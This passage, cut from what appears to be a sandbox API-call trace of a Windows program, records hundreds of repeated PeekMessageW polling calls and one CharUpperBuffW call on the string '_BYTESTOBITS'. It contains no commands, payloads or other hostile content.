lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.786] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.787] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.788] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.789] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.789] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.789] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, 